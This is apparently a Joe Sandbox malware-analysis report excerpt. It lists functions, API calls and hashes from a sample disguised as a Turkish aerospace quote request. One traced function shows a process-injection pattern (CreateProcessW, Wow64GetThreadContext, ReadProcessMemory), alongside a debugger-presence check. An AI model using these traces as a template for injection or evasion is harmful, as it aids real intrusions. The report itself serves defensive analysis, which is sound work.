Part of subcall function 00FC336C: EncodePointer.KERNEL32(?,?,00FA4849,00FF7C74), ref: 00FC3389

Part of subcall function 00FA48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00FA4915
Part of subcall function 00FA48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00FA492A

Part of subcall function 00FA3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00FA3B68
Part of subcall function 00FA3B3A: IsDebuggerPresent.KERNEL32 ref: 00FA3B7A
Part of subcall function 00FA3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,010652F8,010652E0,?,?), ref: 00FA3BEB
Part of subcall function 00FA3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00FA3C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00FA4874

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: ee6866e893417aad04329eae228b875fc0d1239af0ba1de5f0ec06beff91d5cc
Instruction ID: 18cf250d74f3715a3646a8d9de1fa7808aa9739e8472d7a4d8e2e38422035ea5
Opcode Fuzzy Hash: ee6866e893417aad04329eae228b875fc0d1239af0ba1de5f0ec06beff91d5cc
Instruction Fuzzy Hash: FB11A5719083429FC710DF28EC0590ABFE8FF8A790F10451EF08083271DBBA9645DB91

Function 00FC0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FC571C: __FF_MSGBANNER.LIBCMT ref: 00FC5733
Part of subcall function 00FC571C: __NMSG_WRITE.LIBCMT ref: 00FC573A
Part of subcall function 00FC571C: RtlAllocateHeap.NTDLL(011E0000,00000000,00000001,00000000,?,?,?,00FC0DD3,?), ref: 00FC575F

std::exception::exception.LIBCMT ref: 00FC0DEC
__CxxThrowException@8.LIBCMT ref: 00FC0E01

Part of subcall function 00FC859B: RaiseException.KERNEL32(?,?,?,01059E78,00000000,?,?,?,?,00FC0E06,?,01059E78,?,00000001), ref: 00FC85F0

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 6e49b6f955af899035ff4516bdc75fa0464762e6dc1752824de0df10b1f5805a
Instruction ID: 1ee8e6ef9339d48caede660fc5b685308583c15109273ba408d74782d6a97ac0
Opcode Fuzzy Hash: 6e49b6f955af899035ff4516bdc75fa0464762e6dc1752824de0df10b1f5805a
Instruction Fuzzy Hash: E6F0813190031BA6CB18BA94EE07FDF77AC9F01361F10442EF909A6141DF749A82A6D1

Function 00FC55FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FC562C
__lock_file.LIBCMT ref: 00FC564D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 6a7dee1f19cd275ced03a5c31750786f78da99f4326570a642ca6338ff1d9a75
Instruction ID: 5f68228a363fc795a06c4ae4cde90f677f2041aac3c1d290ba0b025e40ecf13c
Opcode Fuzzy Hash: 6a7dee1f19cd275ced03a5c31750786f78da99f4326570a642ca6338ff1d9a75
Instruction Fuzzy Hash: 2101D472C0060AEBCF12EF648E03E9E7B61AF90B61F40411DF8141B151DB398A92FF91

Function 00FC53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FC8B28: __getptd_noexit.LIBCMT ref: 00FC8B28

__lock_file.LIBCMT ref: 00FC53EB

Part of subcall function 00FC6C11: __lock.LIBCMT ref: 00FC6C34

__fclose_nolock.LIBCMT ref: 00FC53F6

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: dcccabe42f2c9fadf697016d9722b4c6f4ebbc4ae4f96a93dad688807a9e2669
Instruction ID: 22bb090e561329186ffd7c8843d4cea43d945cecfb77899872be019aae3ff94c
Opcode Fuzzy Hash: dcccabe42f2c9fadf697016d9722b4c6f4ebbc4ae4f96a93dad688807a9e2669
Instruction Fuzzy Hash: 09F09C319106469AD714AB655E03FAD76A16F41775F20410CA454AB1C1CBFC5982BB51

Function 0125F835 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01260065
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01260089
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 012600AB

Memory Dump Source

Source File: 00000000.00000002.1492167049.000000000125E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0125E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_125e000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
Instruction ID: fc7719b40e7cb49a70090d3b09c79bf35168b80e65ec4e184c0ce08184785c50
Opcode Fuzzy Hash: 1e5ff81ed8f871418fabb2f1fb9f15c50bab29dc79b391b745a61db8bf218849
Instruction Fuzzy Hash: 6212CE24E24658C6EB24DF64D8507DEB232EF68300F1090E9910DEB7A5E77A4F91CF5A

Function 00FC0C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00FC0CB7

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 6abd7baa3376518c1bb51c8f218db881ab1e5133df9dde0999446d1fca7097f1
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 5731B771A00106DBC718DF58C685B69F7A6FB59310B6487A9E80ACB355DB31EDC2EBC0

Function 00FDFCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00FDFCB7

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 3c75d3bec4ac7d47977bdda826a84e7a7d185e59ab0aedcee4fc29053d5b9f09
Instruction ID: 659c5336e7dcaee65d5321fd990584017940599193f5d0807dae4227c3f45fd3
Opcode Fuzzy Hash: 3c75d3bec4ac7d47977bdda826a84e7a7d185e59ab0aedcee4fc29053d5b9f09
Instruction Fuzzy Hash: FE4108B4904341DFDB24DF14C454B1ABBE1BF45314F0988ACE8998B762C775E849DF52

Function 00FC06FE Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8adda755b85ae478ad31ab38e0c2e0c7d30360b95ce5ac50b39ba54cc90d6fef
Instruction ID: 586cbb32e3fef4049e6f3b3a3b1b79a3b12249cc48cc75963bad6cebb1896b89
Opcode Fuzzy Hash: 8adda755b85ae478ad31ab38e0c2e0c7d30360b95ce5ac50b39ba54cc90d6fef
Instruction Fuzzy Hash: 2121F376409202EFC311AF24D843AF6B7F4EF82322B11819EED918B862CB3059478F91

Function 00FA4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00FA4BEF

Part of subcall function 00FC525B: __wfsopen.LIBCMT ref: 00FC5266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,010652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00FA4E0F

Part of subcall function 00FA4B6A: FreeLibrary.KERNEL32(00000000), ref: 00FA4BA4

Part of subcall function 00FA4C70: _memmove.LIBCMT ref: 00FA4CBA

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 93873e50ac87ee03824d2a1de8ae0a2d61f449e3657d0f21991fb1f7dff5de21
Instruction ID: 9f5523c4d58701c9caa53ba3f268e6c49828d5d33bdf65c552e1e6333b5bb635
Opcode Fuzzy Hash: 93873e50ac87ee03824d2a1de8ae0a2d61f449e3657d0f21991fb1f7dff5de21
Instruction Fuzzy Hash: 9A11E772600206ABCF11FF70CC52FAD77A5AFC5750F10842DF541A7181DAFAA901B760

Function 00FDFD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00FDFD91

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 7151055c6db33059c6de199c1efec11c73f4197a826950a6c9412121ef2ea657
Instruction ID: ba7f12f455bd979bfe991b1294d35f43cbeec5ef03bcfee66b8163a6f266ae58
Opcode Fuzzy Hash: 7151055c6db33059c6de199c1efec11c73f4197a826950a6c9412121ef2ea657
Instruction Fuzzy Hash: BA2128B4908342DFDB24DF64C444B1ABBE1BF85314F05896CF88957762D735E809EB52

Function 00FC4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00FC48A6

Part of subcall function 00FC8B28: __getptd_noexit.LIBCMT ref: 00FC8B28

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: 72d37ac8a1dba33d021e90435bcbc25204ed89934f86894ab6b436411e96c494
Instruction ID: 4193bd760e2fdcf41ae8f61189b265c1af3ac74fc316dfa2a90dad0097fcb0d7
Opcode Fuzzy Hash: 72d37ac8a1dba33d021e90435bcbc25204ed89934f86894ab6b436411e96c494
Instruction Fuzzy Hash: 65F0AF3190160BEBDF11AFA48E07FAE36A0AF10376F15841CB8249A1D1CB7C9952FB51

Function 00FA4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,010652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00FA4E7E

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 0288db6ac8b28077c2530a5bb096c8be7f4246dfab3942125693659b2a694f3d
Instruction ID: aa7a5c94f1d965d2e59451124a1292d8f2bfebf06224fd647b6883fb6ffc72d6
Opcode Fuzzy Hash: 0288db6ac8b28077c2530a5bb096c8be7f4246dfab3942125693659b2a694f3d
Instruction Fuzzy Hash: D8F039B1901712CFCB349F64E4D4812BBF5BF963793208A3EE1D682610C7B2A880EF40

Function 00FC0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00FC07B0

Part of subcall function 00FA7BCC: _memmove.LIBCMT ref: 00FA7C06

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: e74a3f2db7de7e65743ccadef0af677b22f30cc14c0baa28b7fada755257f001
Instruction ID: b2e0b5136b76bcfcc9ef7f414eaadf5ac5813d497ae0bf6632417b52ae861629
Opcode Fuzzy Hash: e74a3f2db7de7e65743ccadef0af677b22f30cc14c0baa28b7fada755257f001
Instruction Fuzzy Hash: B7E0867690422857C720A5989C05FEA77ADDB896A0F0441B6FC08D7208D9659C948691

Function 01008E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 01008EC1

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: c7751e39f082deacf9ddc5725894e1c5f5d5d234e51c020065c4271ee66983cd
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: 8AE092B0504B405BE7398A28D801BA377E1BB05304F04085DF2EA83242EBA278418759

Function 00FC525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00FC5266

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 363b54cac752c7292ea1e70bc9b8d1e9f05555b38f198dc4e87b9e4d82140d63
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 2EB0927644020C77CE012A82EC03F897B599B42BA4F408020FB0C18162A677A6A4AA89

Function 01260838 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01260849

Memory Dump Source

Source File: 00000000.00000002.1492167049.000000000125E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0125E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_125e000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 9c038a71ac94c079b5cf1afd336b9247957b97cf7465039c2950c4e11174376d
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 0BE0E67494020DDFDB00DFF4D54969D7BB4EF04301F100161FD01D2280D6309D50DA62

Non-executed Functions

Function 0102CABC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0102CB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0102CB95
GetWindowLongW.USER32(?,000000F0), ref: 0102CBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0102CC00
SendMessageW.USER32 ref: 0102CC29
_wcsncpy.LIBCMT ref: 0102CC95
GetKeyState.USER32(00000011), ref: 0102CCB6
GetKeyState.USER32(00000009), ref: 0102CCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0102CCD9
GetKeyState.USER32(00000010), ref: 0102CCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0102CD0C
SendMessageW.USER32 ref: 0102CD33
SendMessageW.USER32(?,00001030,?,0102B348), ref: 0102CE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0102CE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0102CE60
SetCapture.USER32(?), ref: 0102CE69
ClientToScreen.USER32(?,?), ref: 0102CECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0102CEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0102CEF5
ReleaseCapture.USER32 ref: 0102CF00
GetCursorPos.USER32(?), ref: 0102CF3A
ScreenToClient.USER32(?,?), ref: 0102CF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0102CFA3
SendMessageW.USER32 ref: 0102CFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 0102D00E
SendMessageW.USER32 ref: 0102D03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0102D05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0102D06D
GetCursorPos.USER32(?), ref: 0102D08D
ScreenToClient.USER32(?,?), ref: 0102D09A
GetParent.USER32(?), ref: 0102D0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0102D123
SendMessageW.USER32 ref: 0102D154
ClientToScreen.USER32(?,?), ref: 0102D1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0102D1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0102D20C
SendMessageW.USER32 ref: 0102D22F
ClientToScreen.USER32(?,?), ref: 0102D281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0102D2B5

Part of subcall function 00FA25DB: GetWindowLongW.USER32(?,000000EB), ref: 00FA25EC

GetWindowLongW.USER32(?,000000F0), ref: 0102D351

Strings

@GUI_DRAGID, xrefs: 0102CE9C
F, xrefs: 0102D235

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: f7bc45082040a00fb99d23a72a430dc53bb3c1c5938545b30aedeb1bdf2e070e
Instruction ID: 48e950545c859bc1963fe4bf84ca187b1b0a1c35bcaa9f720bf38efd7cba2c9c
Opcode Fuzzy Hash: f7bc45082040a00fb99d23a72a430dc53bb3c1c5938545b30aedeb1bdf2e070e
